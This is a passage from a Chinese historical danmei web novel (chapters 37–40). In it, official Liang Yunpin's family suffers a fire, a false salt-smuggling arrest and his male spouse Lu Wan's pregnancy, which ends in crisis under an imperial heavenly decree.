梁家一众兄弟都见过西洋钟,梁蕴品自然知道梁蕴识做出了怎样的奇珍异宝,眸光由促狭化作一道来自兄长的鼓励。
“二弟有心了。”他道,“日后若想要什么珍稀玩意儿,不要逞强,来寻你大哥大嫂帮忙,我们会尽力替你搜罗。”
“好!多谢大哥!”
“诶诶,怎么没人谢我?”
梁老三惯会见风使舵,瞅准了风向一下蹦出来,“大哥大嫂,这物件虽是二哥做的,却是我送的!我也是见这东西好,特意拿来孝敬您二位啊,没有功劳也有苦劳吧~”
“这……”
“你若再偷鸡摸狗,我便同父亲说,将你绑在家祠的柱子上,先反省十日十夜再说。”
陆宛本想好言安抚两句,却见梁蕴品根本不屑怀柔,板着脸以长兄的身份厉声训斥,“你瞧瞧你,终日游手好闲,哪有半分似梁家的儿子?”
“切,龙生九子还各不相同呢,梁家有大哥二哥撑着,我就安心当个闲散少爷,给哥哥嫂嫂们解闷不好吗?”
“你——”
梁二听着这方吵吵闹闹,默默叹了口气,转身将梁蕴行牵了出来,打断兄弟俩的争执。
“大哥,老四也做了件东西要送给你们,”他推了推梁蕴行,“四弟,去给兄嫂送行吧。”
梁蕴行沉默不语,脚步却未有半分迟钝,稳健地走到陆宛跟前,从腰间抽出一把精致的小刀,双手递上。
“这是蕴行炼的第一把刀。金师傅说我很有天赋,这刀炼得极好,今日,蕴行便将此刀赠予大嫂防身。”
梁蕴行稚气未脱,言谈间却有邹鲁遗风,端的是一派肃穆严正,“大哥大嫂护着蕴行,蕴行也会拼命护着你们,今生今世,誓不忘兄嫂恩德。”
陆宛乍一听如此决绝的誓言,心下一惊,有些惶然地接过小刀,下意识打量起眼前不过十一二岁的总角小儿,却见梁蕴品矮下身,与梁老四视线平齐,伸手摸了摸他光洁的额头。
“蕴行,”他嘴角勾起一个温和的弧度,“天塌下来,有大哥顶住,你只管做你喜欢的事便可。”
陆宛轻启唇瓣,刚想问是否发生了什么,又见梁蕴品往前一探,手越过梁蕴行肩膀,顺势拨开了他的衣领。
嘶,那乌黑一片的是……淤青?
陆宛瞳孔一缩。
这些淤青,他在阿生身上也见过,是习武之人在所难免的新伤与旧伤。
所以,梁老四是在……练武?
陆宛手指紧了紧,一时竟不敢吭声,但梁蕴品似乎早就知道此事,他定定地看着那几道紫得发黑的痕迹,沉默良晌才掩上衣领,又在梁蕴行肩上轻轻拍了拍。
“秋风渐飒,寒气入心,兄嫂保重。”
梁蕴行不欲兄长再担忧自己,强撑起一个笑容,整了整衣衫后退数步,躬身拱手——
“愿兄嫂此去,风和路平,安康顺遂,布帆无恙!”
-
梁蕴识一行人走后,梁蕴品牵着陆宛的手,默默伫立在院前,并肩远眺。
待几人走远,陆宛侧目相望,凝视着梁蕴品的侧颜——他记得十岁那年,梁蕴品也是这样立在他身侧为他遮风挡雨,可如今少年不再,青涩渐隐,取而代之的除了官场练就的成熟老道,他竟在他身上感受到一丝锋芒渐露的气息。
“官人,”他犹豫着开口,“四弟他——”
“阿宛,你累不累?”
梁蕴品偏过身,起手揽上陆宛的腰,微笑着截住他的话头,“不若我们再回房歇会儿?午后还要入祠堂焚香拜别祖宗,晚宴时曹家会过来,闹哄哄的也不得闲。”
“明日一早,咱们便该出发了。”他提醒道。
“……好。”
陆宛直觉梁蕴品不欲谈论梁四之事,从善如流地点了点头,泛起一抹善解人意的笑,“官人想休息,我便陪着你~”
梁蕴品眼角皱起一个温柔的弧度,倏而倾身凑到陆宛耳边,低声说了句,“我自然是想休息,可我更想同你一齐休息。”
“……”
梁蕴品声线本就低沉,他还使了坏,将后一个“休息”咬得极重,害陆宛无端红了脸。
陆宛羞赧着退出半步,捏拳轻轻一捶梁蕴品的手臂,却被他反手握入掌心,盯着陆宛笑得一脸宠溺。
“怎么,夫人不愿意?”
“我……”陆宛被梁蕴品撩拨得手足无措,恨不得将头垂到前襟。
“官人何时变得如此爱捉弄人……”他盯着二人抵足相对的鞋尖,小声嗔怨道,“方才还是那个人见人怕,不动如山的长兄,一转头便成了轻嘴薄舌的登徒子,官人也不怕人笑话……”
“呵,我不曾捉弄你~”
梁蕴品笑得眉眼都松开了,揽着陆宛腰肢的手紧了紧,叫两人之间距离又近了三分,“我只是要同夫人卧榻小憩一会儿,难不成夫人误会了什么,才这般错怪为夫?”
“……”
陆宛被梁蕴品三言两语堵得瞠目结舌,巴掌大的脸颊红得发烫,不知是被羞得还是被气得。
梁蕴品却越看越喜欢,犹不肯放过陆宛,逼问道,“且你方才说——我人见人怕?
“那么夫人也会怕我么?”
他压了压掌心,索性将陆宛平坦的小腹贴在自己身前,“什么时候怕?还是……什么时候都怕?”
陆宛微张着唇,仰头与梁蕴品对视,眼中写满了难以置信。
倏忽,他似是恼极了,又似是打通了任督二脉,眨眼俏然一笑。
“我怕官人?”
陆宛撩起眼,抬手捏住梁蕴品的下巴
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,壮着胆子别过梁蕴品的脸,叫他看向那院门前崭新换上的四方牌匾。
“官人可看清了,这是我的园子——归,陆,园。”
陆宛又将梁蕴品的脸拨向自己,闪着一双灵动的眸子反问他,“我可是在我自己的园子里,我怕什么?”
梁蕴品被他弄得一怔,眸色忽而变得深邃而炽热起来。
“你看到了。”
他垂眸瞥了眼陆宛微微努起的唇珠,又用拇指摩挲着他纤薄的腰,“什么时候看到的?”
“偌大一个牌匾挂在院前,官人还想瞒我不成?”
陆宛享受着梁蕴品的抚摸,眼睛微微眯起,像一只餍足的猫,“倒是我该问问官人,这园子原本就叫这名字?还是……”
“不是。原本无名。”
梁蕴品嘴角挂笑,“于我而言,再大的院子也不过是个起卧的居所,有名无名并无差别。”
“可那次回汴都,同父亲母亲谈论婚事,回到院中却寻不到那一缕荷香……”
梁蕴品弯下身,将鼻尖凑到陆宛高高束起的发冠处嗅了嗅,“心总觉得空落落的,便唤人去做了这扇牌匾,寄望于有一日,你能与我同归此园,共枕而眠。”
陆宛一怔,好不容易平复的心境又被梁蕴品这一阙衷肠扰乱,暖意顺着耳根染红了整个耳廓。
“说来,回到襄州,”梁蕴品闷闷的声音自头顶传来,“你欲入住主院,还是让我日日到盈蕖馆……求欢?”
“什,什么求欢……”
陆宛臊得不行,四下看了看,又忍不住抽出手推了梁蕴品一下。
“官人要住哪儿住哪儿,我可管不了!”
“呵……那便住在盈蕖馆,像我们从前那般。”
梁蕴品支起身,眼见陆宛恼了,不敢再造次,好言好语同他商量,“盈蕖馆环境清幽,只欠一阙书阁……不若把西偏阁改为书阁,供我批示公文,商议公务,如何?”
陆宛睨着终于有些正形的梁蕴品,无奈一哂,“官人定下,我自是无异议。只是……官人还要为新书阁,亲笔题名么?”
“当然。”梁蕴品眸光一动,“就叫……曳萏阁,如何?”
“曳萏阁?”
“嗯。摇曳的曳,菡萏的萏。”
陆宛不明所以,但见梁蕴品眸底带笑,直觉此二字没那么简单。
“曳萏……听上去同‘盈蕖’、‘濯莲’、‘落芙’、‘沁荷’如出一辙……”
他略一沉吟,倏忽明白了这拆字的奥秘,耳根连着粉腮红成一片晚霞。
“官人当真——”
陆宛羞恼难当,咬着唇瞪了梁蕴品一眼,“我瞧着官人从前对我如此冷淡,原来都是假的。若叫旁人知道,表面光风霁月的通判大人,内里心思竟如此,如此……”
“如此什么?龌龊?污糟?”
梁蕴品一手掐着陆宛的腰,恨不得将他这付身躯揉进掌心里。
他俯下身,低哑的气息恨不得沿着耳隙钻入陆宛的识海,“旁人知道了又如何?你是我的人。”
“我曳我的菡萏,盈我的芙蕖,濯我的莲沁我的荷……旁人凭什么对我指手画脚,说三道四,嗯?”
陆宛被他掐得浑身发软,“官人你别……”
……
一心同沙卓在一旁守着,眼见两位主子耳鬓厮磨,视线都不知道往哪儿搁,更遑论归陆园内静候着的一众仆奴。
没法子,众人只能看天看地,盯着飞禽走虫仓皇而过。一心看累了眼,刚把视线落下,远远地便瞧见花廊尽头出现一个轻盈的身影,下意识臀根一紧,浑身一颤。
沙卓被他挨了一下,莫名其妙地看向他目光所及之处,“那是……阿生?”
“阿生?哦!是,是他吧……”
一心的一惊一乍打断了一对新人的卿卿我我,陆宛使劲推开梁蕴品,整肃衣衫时还不忘嗔他一眼,叫梁蕴品无奈一笑。
“阿生是去装车了?东西都收拾好了么?”
梁蕴品清了清嗓子,柔声道,“大婚那晚你看中的熏炉,我着人给你包好,先送回襄州了。”
陆宛脸上红晕还未退下,只无言点了点头,心中却热烘烘的,又想起今日出门之时,梁夫人给他置办了许多行头,神情有些讪。
“官人说……我要不要托人从杭州送些珍品过来,逗父亲母亲一乐?”
陆宛想了想,还是受之有愧,“抑或是二弟三弟有什么想要的物件,稀罕的精奇的,我都可以派人去搜罗——”
“阿宛,别同父亲母亲客气,也别把蕴识他们当做我一人的兄弟。”
梁蕴品负手而立,从容一笑,“你要谨记,自我们成婚那日起,他们便也是你的父母,你的亲兄弟。”
“梁府,也是你的家。”
38. 38.风起
顺和三十三年,山南道政通人和,襄州尤以为表,百姓安居,百业兴盛。
时任襄州通判梁蕴品经吏部考课,层层上报,于春末夏初与怀南知州,晋州通判等一十三名官员一同擢升,迁调河南道任从五品汝州知州。
同年秋,蝗祸不断,秋收欠佳,加之无名瘟疫四起,民不聊生。宫中采买奴仆又将瘟疫传入宫中,皇后陈氏,贤贵妃栾氏相继暴毙,官家悲不自胜,自此一病不起,秋试亦被迫延期。
“哎呦不成不成,我这老腰……怕是被这叠案卷折弯了!”
汝州通判靳晋放下一叠厚厚的公文,艰难扶着腰身支在案上,面露菜色。
见眼前这位知州大人毫无反应,手下依旧飞快批注着公文,他不禁睨了他数眼,渐渐流露出怨怼的神色——怎么回事,这位昔日同窗今日同僚怎地如此不通情达理,见他案牍劳形以致伤身,竟连一句安慰也无,当真是个无心无情的草垛子!
气煞他也!他要申诉,他要反抗!
靳晋刚想开口,便见梁蕴品“啪”一声放下笔,长长舒出一口气,抬头依旧是眉眼如玉。
“这几日瘟疫之势渐退,正是整拢案卷,向上呈报的重要时日,辛苦你了,靳兄。”
靳晋一怔,他比梁蕴品大三个月,在读书时便以兄弟互称,二人更是齐齐上榜,同筵相贺,而后各自走马上任。
然则时过境迁,梁蕴品在襄州风生水起,娶的一门商贾出身的男妻亦是人中龙凤,助他在襄州大兴商业,使襄州坊市兴盛一度直逼江南;而他在汝州则政绩平平,最后更是兜兜转转,成了梁蕴品手下的一名小小通判。
有那么一瞬,他曾嘲笑天意弄人,但与梁蕴品相处不过三月,他便甘拜下风,佩服得五体投地。
无他——一个胆敢身入险境,亲自至瘟疫之地视察,抚恤、安置灾民的知州,全大邹又有几个?
更遑论他那名男妻也是个疯子,竟说什么都要陪他一同前往,还说什么“生同衾死同裘”……
呵,嫉妒亦无用,他早就知道自己是个懦夫,而梁蕴品的家世,心气,品性,甚至连枕边人的气节都叫他难以望其项背……便该是好好安分守己,“助尔上青云”才是。
“靳兄,靳兄?”
靳晋回过神,平直的嘴角又扬起平日没心没肺的弧度,“蕴品兄说什么?我方才疼岔气了,没听见。”
“噢,我方才劝你早些回府,这些案卷明日再整理亦不迟。”梁蕴品笑了笑,“这段时日若无你帮衬,我怕是连一个整觉都睡不得……如今事情渐了,咱们也该休息休息,回府中陪陪家人才是。”
“真的?今日竟能准点下值?”
靳晋伸了个懒腰,“哎呀,下官多谢大人恩典呐哈哈哈……”又眼珠一转,打了个响指,“诶蕴品兄,难得今日早下值,不如咱哥俩去醉仙楼喝一杯,庆祝庆祝?”
梁蕴品已然低头开始收拾公文,闻言莞尔一笑,“不了,今日答应了夫人要回府用饭,夫人今日难得亲自下厨,不好爽约。”
“哦哟哟哟——”
靳晋“嫌弃”地瞥了他一眼,“不是我说啊蕴品兄,你夫妻二人也太黏糊了~前些日子疫病横行,你二人出双入对,同生共死,尚叫人交口称赞,羡慕不已。可如今疫病已去,一切恢复如常,你还三句不离你家夫人,这可就有点……”
“改日吧,改日我请靳兄吃酒。”
梁蕴品面上笑意不减,收拾好书案便起身,微一颔首,“天色渐昏,靳兄也早些回府,休憩养身吧。”
“好,那蕴品兄慢行,明日见。”
秋雨晚来急,梁蕴品的马车行至汝王巷时,一阵妖风呼啸而过,乌云密布,周遭黑压压的叫人伸手不见五指。
梁蕴品撩起车帘,瞧着车外的飞沙走石皱了皱眉,心下有些焦急,便唤马夫再快些,马夫刚应承下来,却见远远的奔出一个身影,瞧衣裳分外熟悉,仿佛是知州府的仆奴。
他下意识一勒马颈,马打了个响鼻,脚步缓了下来,梁蕴品不明所以地掀开帘子,却见一个身型瘦弱的男子几乎控制不住自己扑到马车前,继而放声大哭。
“大人!出事了,陆家出事了!”
梁蕴品眸间一凝,认出这是陆宛的陪嫁小厮,心下顿时一紧,“发生什么事,你起身慢慢说。”
马夫赶紧下马将来人扶起,亏得这天黑路窄,四下无人,他这一下并未引起街坊注意。
只听来人哭丧着脸,抹了抹脸上的泥土,哽咽道,“杭州派人来报,说陆老爷和陆夫人正好好地待在府里歇息,没曾想杭州知府忽然领着官兵登门,二话不说便把老爷夫人都带走了!”
梁蕴品瞳仁骤缩,惊异不已,连忙将人招上马车,嘱咐马夫快马加鞭往家中赶。
“陆家在来人之前,有无到官府疏通一二,打听出岳父岳母到底犯了何事?”梁蕴品心知二人一同被拘,非同小可,略一思索又问,“官府可曾派人抄了陆家的家产?”
“抄家没有,但报信的说,老爷似是犯了什么大罪,说是……对,说是同盐务相关。”
“盐务?”
梁蕴品一怔,“莫非是贩卖私盐?”
“对对对,就是这个罪名!”
奴仆撇着嘴,一脸的不忿,“大人,你说此罪名可笑不可笑?那杭州知府也是,平日里对我家老爷夫人可客气了,殊不知翻起脸来跟阎王爷似的,还着人把府里的管家、账房一并捆了,说要送到有司衙门细细审理……这,这还有天理吗?”
梁蕴品沉着脸不吭声,脑中却已然开始推敲此事的来龙去脉,末了他眸光一闪,抬起头直勾勾看向那奴仆,叫他心里莫名一惊。
“少夫人知道此事了吗?”
梁蕴品极力按捺住跳得极快的心,“切不可叫他知道此事。他身子弱,万一惊吓过度——”
“大人,已经晚了……”
奴仆红着眼,脸拉得比驴脸还要长,“杭州来人时,少夫人正在房中算账,亲耳听此噩耗,现下已然……已然晕过去了!”
马车在人迹寥落的街巷中飞驰,不消一会儿便回到了知州府邸。
梁蕴品跳下马车,不顾街坊邻里的问候,一进府便马不停蹄奔向主院。一心正在主院前焦急地踱着步,见梁蕴品回来,他迎上前,眉心恨不得打上死结。
“大人回来了。”
“嗯。”
梁蕴品没停下步子,“夫人如何了?姬大夫来瞧过了吗?”
“真是太不巧了。”一心紧随其后,一脸凝重,“姬大夫今日为了您的新方子,到郊外的青石岭采药去了,府里只有府医,已经来瞧过了。”
“怎么说?”
“府医说……”一心卡了卡壳,“说少夫人脉象混乱,他医术浅薄,一时以查不出少夫人晕厥的原因。”
“脉象混乱?”
梁蕴品顿住脚步,困惑地看了眼一心,又强自定了定神,推开了近在眼前的房门。
房中只有阿生在为陆宛擦脸,梁蕴品放轻了脚步,小心翼翼上前,注视着陆宛苍白的面容。
阿生擦完脸又擦了擦陆宛的手,觉察到梁蕴品回来,他刚想起身相迎,却被一只大手按住了肩膀。
“不必多礼,你照看他便可。”
“是……”
阿生自陆宛晕倒一直未吭声,如今话一出口,竟哑得不像话,直叫一心听了疼在心里。
他凑上前去,用劲实的身躯贴住阿生单薄的脊背,左看右看宽慰道,“少夫人吉人天相,一定会没事的!我已派人快马加鞭前往青石岭接姬大夫回府,还好姬大夫近日为大人复诊,正好在汝州,不然此时若从山南道赶来,黄花菜都——
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”
“说什么呢!什么黄花菜!”
阿生哑着嗓子斥断了一心的胡言乱语,眼眶似乎比方才红了些,一心见状连声道歉,又讪讪往后退了几步,苦闷地抬起头看向梁蕴品。
梁蕴品正定定地瞧着陆宛,眉头紧锁,眸间是挥之不去的愁意,一心想了想,走上前压低声音,“大人,依小的愚见,少夫人定是急火攻心了,当务之急是将陆老爷和陆夫人救出来,才能解开少夫人的心结。”
“可此事在小的看来颇为蹊跷。”一心沉眸分析,”陆家生意做得如此大,何必要淌私盐这趟浑水?须知贩卖私盐在我朝可是死罪,纵有暴利可图,亦不至铤而走险。更何况梁陆两家结姻后,陆家如虎添翼,在江南道几乎无人能敌,陆老爷他,他没必要折腾这一出啊……”
梁蕴品的目光还在陆宛脸上流连,嘴唇抿成一条直线,沉默不语。
末了,他应声道,“此事毋庸置疑,定是有心思险恶者从中作梗,以此罪名构陷岳父,欲将其一击而溃。”
“且那杭州知府动作如此迅速,若不是得了铁证,便是与那始作俑者幕后勾连,否则以岳父在江南的地位,他决不可能不留半分情面下此狠手,还打了陆家一个措手不及。”
说罢他转眼看向一心,目光如炬,“你方才说梁陆两家结姻,你猜,齐知府对此事有无耳闻?”
“那必然是心如明镜啊!”
一心一锤掌心,满脸愤懑,“所以小的疑心他吃了熊心豹子胆!明知陆家背后有梁家撑腰,他还敢——”
话到此处戛然而止,一心张着嘴,略带困惑地眨了眨眼。
——是啊,谁会光明正大得罪梁家呢?便是当朝左相吕祺,亦是要给梁相三分薄面的罢!
“莫,莫非,莫非与齐知府勾连的人……”
“位,高,权,重。”
梁蕴品闭上眼,将一心不敢宣之于口的话道明,却似一声绵长的叹息。
是他,那个端坐于龙椅之上,睥睨众生之人。
可为什么……他已然娶了一名男妻,以行动自证忠君之心,那人也明明被他安抚,还将老四放了回来……
成婚那日,那人还遣内官送来厚礼,且皇后与贵妃相继去世,他不是伤心过度,一病不起了么,何以还能腾出手对付陆家?
到底是何处出了问题,叫他对陆家骤然起了杀心?是忌惮陆家的财富,要削去梁家的左膀右臂?亦或是宫中有人见他日薄西山,无端给他吹了什么耳旁风?
“去找人,把沙卓唤回来。”
梁蕴品睁开眼,漆黑的眸色浓似阴冷的水,“让他去探探,白头庄近来有无闲杂人等靠近,庄里的‘消息’有无被人传了出去。”
“是!”
一心正要往外走,却见一名小厮跌跌撞撞闯进主院,被沙卓的人拦下后放声高喊,“大人,大人!出事了,汴都出事了!”
梁蕴品眸光一寒,三两步走出房门呵斥道,“什么事这么大呼小叫,没见少夫人在里头歇息么?”
见奴仆被他喝住,他揉了揉眉心,着一心关上房门后快步上前寻问,“是不是母亲得知陆家出事,一时急火攻心又晕倒了?”
“你快马去报,就说此事我来处理,叫父亲母亲万万不要——”
“不,不是,都不是!”
那小厮是梁家的家生子,此时也顾不得喘气,抽噎着断断续续上报,“大少爷,是二少爷,二少爷他——”
“蕴识?”
梁蕴品眼皮一跳,心脏似被一只大手猛地揪紧。
顾不得三七二十一,他抬手一把夹住小厮的肩膀,目露戾色,“快说,蕴识他怎么了?”
“二少爷他……”小厮狠狠抹了把眼泪,努着嘴泣不成声,“他为了救柳公子,在火场中被焚烧的横梁砸中,砸断了双腿!”
39. 39.天裂
“你说什么?”
梁蕴品额颞倏地一跳,掐着奴仆肩臂的手爆出根根青筋, “蕴识他受伤了?伤得如何?府医……府医怎么说?”
“伤得很重……”小厮被梁蕴品掐得一口气差点没喘上来,“府里来了好多大夫,几乎整个汴都城的名医都被请来了,连官家都惊动了,给二少爷指了御医来治。”
“可御医说,二少爷他双膝之下筋脉寸断,再加上烈火灼烧,只怕……只怕双腿是保不住了!”
小厮艰难挤出这句话,继而放声大哭起来。
梁蕴品怔忡地看着眼前无助的小厮,又回过头看了眼满脸震惊的一心,一时竟丢了主意,木然地站在原地。
不可能,怎么可能呢……
蕴识他还要考科举,还要同柳慕云成婚,他还有许多事没有去做……
梁蕴品的嘴唇微微翕动着,没有人听见他的喃喃自语。
那小厮哭得几欲断气,却还不忘自己此行的目的,抽噎道:“大少爷,是三少爷把小的放出来给您报信的,他说府里现下乱作一团,唯有大少爷回京张罗,方可叫全家定心。”
“可小的方才听您说,大少夫人家中,是不是也出……”
“你出府前,蕴识如何了?”
梁蕴品打断他的话,失去神采的黑眸如暗夜一般凛寒彻骨,“你说蕴思叫你来寻我,那父亲和母亲呢?蕴行和栾礼,如今又是谁在照顾?”
“大少爷莫急,四少爷懂事,带着表少爷待在自个儿院里玩,府卫和乳母在照顾他们呢。”
小厮见梁蕴品神色不佳,急忙出言安抚,自个儿却有些恹恹的,“但二少爷的腿已经没了,从火场出来当晚,御医便为他……”
说着又忍不住抹了把泪,强自打起精神,“小的出府前,二少爷还发着高热,但御医说,命总算是保住了,眼下只要好好照看着,烧退了人醒了便好。只是夫人一时难以接受,每日以泪洗面,而大相公一边忙着处理多地蝗祸,一边还要照看夫人和二少爷,每日累得发虚,小的瞧着都心疼……”
梁蕴品听着垂下眸子,不知在盘算些什么,一心却越听越揪心,终于忍不住出言追问:“阿福,你方才说二少爷是为了救柳公子出火场才受伤,柳家何以会遭此大火?二少爷又缘何要亲身闯入火场,他身边的沙牧和二合呢?一群仆奴府卫,难道连两个主子都护不住吗?”
阿福摇摇头,“小的也不知发生了什么,只听说那夜,二少爷同柳少爷逛夜市去了,不知怎地逛到一半便赶了回去,正巧遇上柳家大火熊熊燃起,但柳家人却一个也没出来。”
锃——
如同一枚铜钥落地,敲开了梁蕴品混沌的灵识,叫他在一片茫然间猛然寻到一个清晰的方向。
“柳少爷见状,不顾阻拦疯了似的闯入火场救人,可柳家人多,一东一西的,二少爷只能让沙牧他们搭把手救人,自己则紧紧跟着柳少爷,却不料刚把柳夫人抱出来,房梁就塌了……”
阿福吸了吸鼻子,“然后,二少爷,二少爷就……就推开了柳少爷,自己却……”
他猛地一抬头,“都怪柳少爷鲁莽!害得咱家二少爷遭此横祸!也难怪夫人不让他进府里探视……可他脸皮厚得很,正门不让进便守在侧门,每日端了把交椅坐在那,一坐就是一日,也不嫌丢咱家的人!大少爷,你说他怎么有脸——”
“你方才说,柳夫人是被‘抱’出来的?”
阿福还要声讨柳慕云,却被梁蕴品沉声打断,还有些回不过神。
“啊,是啊……”阿福细细回忆着,“说是那夜不知怎的,柳家人睡得特别早,起火时怎么都叫不醒,他们只好把人一个个抱出来……”
梁蕴品瞳孔一紧,倏忽银瓶乍破,醍醐灌顶。
原来如此。
怪不得向来慈悲心肠的母亲不让柳慕云进府……
梁蕴品闭了闭眼:她不是恨毒了他,不想见他;而是有愧于他,不敢再招惹于他。
阿福不知梁蕴品心中所想,还在自顾自上报,“说来也不怪二少爷房中的人,可他们恨不得以命相替,只求能换回二少爷的腿。”又抹了把眼泪,“沙牧小哥浑身是伤,领着一众府卫不眠不休地跪在二少爷的院子里请罪,还磕破了自己的头……”
“大少爷,您还是告假,回府看看吧,小的真怕……大少爷,大少爷?”
阿福眼睁睁瞧着梁蕴品身形一晃,直挺挺地向后倒去,目眦欲裂!
“大人!”
一心眼疾手快,箭步向前托住梁蕴品的身躯,只见他脸色发青,眼看便是心内郁结,气急攻心,连忙将其扶到一旁的石凳上歇息。
“快快快!快传府医!”
“一心大哥,姬大夫回来了,要不要让她先瞧瞧大人!”
“不,先将姬大夫送进房里,给少夫人看诊,不然大人醒过来会扒了咱们一层皮!快传府医,现在就去!”
“再来俩人去襄州寻沙卓!备府里最好的马,跑死了算我的!”
……
仿佛只过了须臾,又似是捱过了沧海桑田。
梁蕴品只觉周遭乱糟糟的,一心的声音和仆奴们的动静乱作一团,在他脑中肆意践踏。
他忽而忆起少时同家人同赴马球会的场景,梁蕴识的马术和马球都是他亲手执教,彼时他已然抽枝拔节,梁蕴识却还是个半大不小的孩子,跟在他身后亦步亦趋,虽略显笨拙,却难掩聪慧灵巧之质。
可蕴识……
蕴识的腿,没了。
他猛地睁开双眼,眼底布满了结成蛛网的红血丝。
一心正坐在床边焦急地看着他,见他醒来面容一松,却不敢掉以轻心,“大人醒了,现下感觉如何?”
梁蕴品不答,兀自撑着床板坐了起来,一心连忙拿起团枕搁在他身后,又捧了一杯烫手的清心茶过来。
“大人,府医说您不能再受刺激了,您先喝口清心茶,他去给您熬药。”
一心将茶喂到梁蕴品嘴边,见他不喝,重重叹了口气,“小的知道,二少爷同您感情亲厚,他突逢此变故,您心中定然接受不了。”
“只是意外之事,谁能预料到呢?” 他顿了顿,和声劝道,“您若是伤心太过,把身子弄垮了,大相公和夫人就更难过了,几位少爷也没人看顾了。您可要撑住啊……”
一心话音刚落,便见梁蕴品睁着血红的双眸看了过来,他下巴上青色的胡茬似是在他昏厥时猛地冒出一片,叫梁蕴品看上去足足老了二十岁。
“那不是意外。”
“什么?”
一心只见梁蕴品嘴唇动了动,却没听清,只听见身后传来一阵急促的脚步声。
他扭头一看,姬青不偏不倚地站在房门口,踌躇不定地看着他们。
“姬大夫来了?快进来。”
一心放下茶盏,将姬青邀了进来,顺手关门时却见一个熟悉的身影闪了进来。
“诶,你怎么没在房中照看少夫人?”
一心瞧见心上人,脸上难得露出一抹欢喜,又有些诧异,只听姬青在身后幽幽道,“是我让他过来的。”
“阿生是少夫人的贴身奴仆,少夫人有些心里话,由他来说比我说更妥帖些,也更叫大人信服。”
“姬大夫这说的什么话……您的医嘱,大人无有不信的,更遑论是同少夫人相关的了。”
一心阖上门,不明所以地看向姬青,只见姬青一改平日里的直爽,垂眸看着病榻上的梁蕴品,面露迟疑之色。
“姬大夫,夫人他究竟怎么了?”
梁蕴品面色惨白,强自撑起身子仰头看向姬青,“有什么话便直说罢……我受得住。”
姬青欲言又止,抿了抿唇,还是拱起手略微福了福身。
“恭喜大人,少夫人他……有喜了。”
“什么?”
“什么!!!!”
一心的惊呼压过了梁蕴品虚弱的声音,“姬大夫,这都什么时候了您还开玩笑?少夫人他他他……有喜?”
“有喜”二字被一心强行压下,与前头几近破音的嚎叫形成强烈的对比,莫名生出一丝诙谐。
可眼下谁也笑不出来,一心看了眼阿生,被他肃穆的神情惊得直摇头,“不可能不可能……这怎
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么可能呢……少夫人,他,他是男子啊……”
“少夫人是男子没错,但他能否怀胎,如何怀胎,除了我以外,大人怕是最了解其中因由之人了。”
姬青连正眼都没赏给一心,只沉着脸与梁蕴品对视,“但眼下陆家遭劫,少夫人急火攻心,并不是怀胎的最好时候,所幸他怀的是头胎,又正值壮年,胎象才暂无大碍。但若长此郁结下去,只怕母子连心,一损俱损,不仅胎儿的命难保,连少夫人也……”
“那还问什么?自然是舍子保母啊!”
一心还没从知晓陆宛怀胎的震惊中回过神来,却下意识觉得这孩子来得不是时候,情急之下脱口而出,被阿生狠狠剜了一眼。
“大人还没说话,你多什么嘴?”
“我,我——”
一心自知僭越,硬着头皮解释,“我这不是见大人同少夫人鹣鲽情深,知晓大人为了保住少夫人的命,一定会作此选择的……大人您说,是吧?”
梁蕴品依旧怔愣地看着虚空中的一点,不知在想些什么,阿生见他不语,心下一急,两步向前“扑通”一声跪下,叫众人皆是一惊。
“大人,这便是我接下来要说的话。”
阿生垂下眸,眼眶霎时红了一圈,“少夫人他……他不会放弃这个孩子的。”
他按下心中悲恸,同梁蕴品坦白陆宛的心声,“这个孩子,少夫人盼了许久,他是真心实意要同您有一个自己的孩子,也是真心实意,想为梁家续一段香火。”
说罢,他展臂一伏,将头重重磕在地上,“所以阿生求求大人……求大人无论如何,救救陆老爷,陆夫人,救救陆家!让少夫人能安下心来怀胎生子,不使其沉疴难愈,一尸两命!”
真心实意……续一段,香火……
梁蕴品怔怔地看着五体伏地的阿生,眼神空洞,耳边倏忽响起一阵巨大的嗡鸣。
——“蕴品,天意不可违啊……”
——“可是父亲,这天旨说下就下,谁知道它是不是——”
——“休得无礼犯上!你只需谨记天旨所言,约束自身!”
——“品儿,官家对相公防备心日重,我母家式微,也给不了你们助力……母亲只愿你四兄弟平平安安,一生顺遂,便再无别的所求了……”
天旨……又是天旨……
天旨到底是个什么东西!
黄内监尖锐的声音在他识海中炸开,仿佛隔空应答他心中所问——“小梁大人既跟了过来,便同梁相一同,接旨吧!”
不,他不接旨!
他没跟过去,他明明在襄州上任,又怎么可能接——
「太史令传天旨诏曰——」
「顺和帝右相梁氏嫡子有四蒙上古四象化灵天命所眷」
「四象齐可荫镇大邹佑百年昌盛扬尧天舜日之威」
「四象缺则国运日衰毁三世基业造哀鸿遍野之象」
「然四象神圣宏岩超凡脱俗尊不可渎」
「倘四子贪女色纵私欲存香火使天怒神怨」
「大祸将至邹去亡不远哉」
……
一滴泪自梁蕴品下巴滑落,砸在地面扬起一缕浑浊的硝烟。
他蓦地捏紧掌心,指甲狠狠嵌进肉里,进而闭上了眼,从齿缝间挤出一句颤抖的话——
“这个孩子,不能留。”
“……大人说什么?”
“阿生说了这么多您是没听见?”
阿生抬起身,与姬青同时开口,难以置信与怒火中烧一同砸向梁蕴品,叫他骤然如坠冰窟,心如刀绞。
可他不能……不能心软。
那个孩子,不该,亦无法降临这世上……
对不住,阿宛……是我对不住你,我害了你,我毁了你……
“噗嗒——”
几人无声对峙之际,一声重物倒地的钝音自门外传来,府卫和仆奴们的叫唤随之而至,此起彼伏。
“少夫人!”
“少夫人您怎么在这?少夫人,您醒醒!”
“血,好多血……快来人,来人呐!少夫人又晕倒了!”
40.40.暗夜
——“官人喜欢孩子么?”
——“为何这样问?”
——“只是觉得,若我二人膝下无子,日子长了,总有些闷,我怕官人嫌我。”
——“……阿宛,你我二人之间,不需要一个孩子来维系。你本就是我的羁绊。”
……
耳鬓厮磨,言犹在耳。
陆宛却骤然失去了支撑的力气,腹部一紧,双膝一软,在那句“不能留”出口之后跌落在地,像一只折翼的蝶。
“少夫人!”
“少夫人!少爷!您醒醒!您别吓我啊……”
“阿宛!”
陆宛在众人的哭天抢地中虚弱地支起眼帘,似隔着一层迷雾,与梁蕴品猩红的眸对上。
“为什么……”
他嘴唇动了动,实则却发不出任何声音。
“官人,那是……我们的孩子……”
梁蕴品听不到陆宛的声音,却心有灵犀般感受到他无声的质问。
巨大的痛苦顷刻吞噬了他的意志,叫那副惯常不动如山的冷脸亦不由得扭曲起来。
“对不起……阿宛,对不起,你别离开我,你不能有事……阿宛!”
腹下一阵剧烈的坠胀感传来,陆宛吃力一哼,终究体力不支,偏头厥了过去。
-
月升日落,知州府头一回没了掌灯的人。
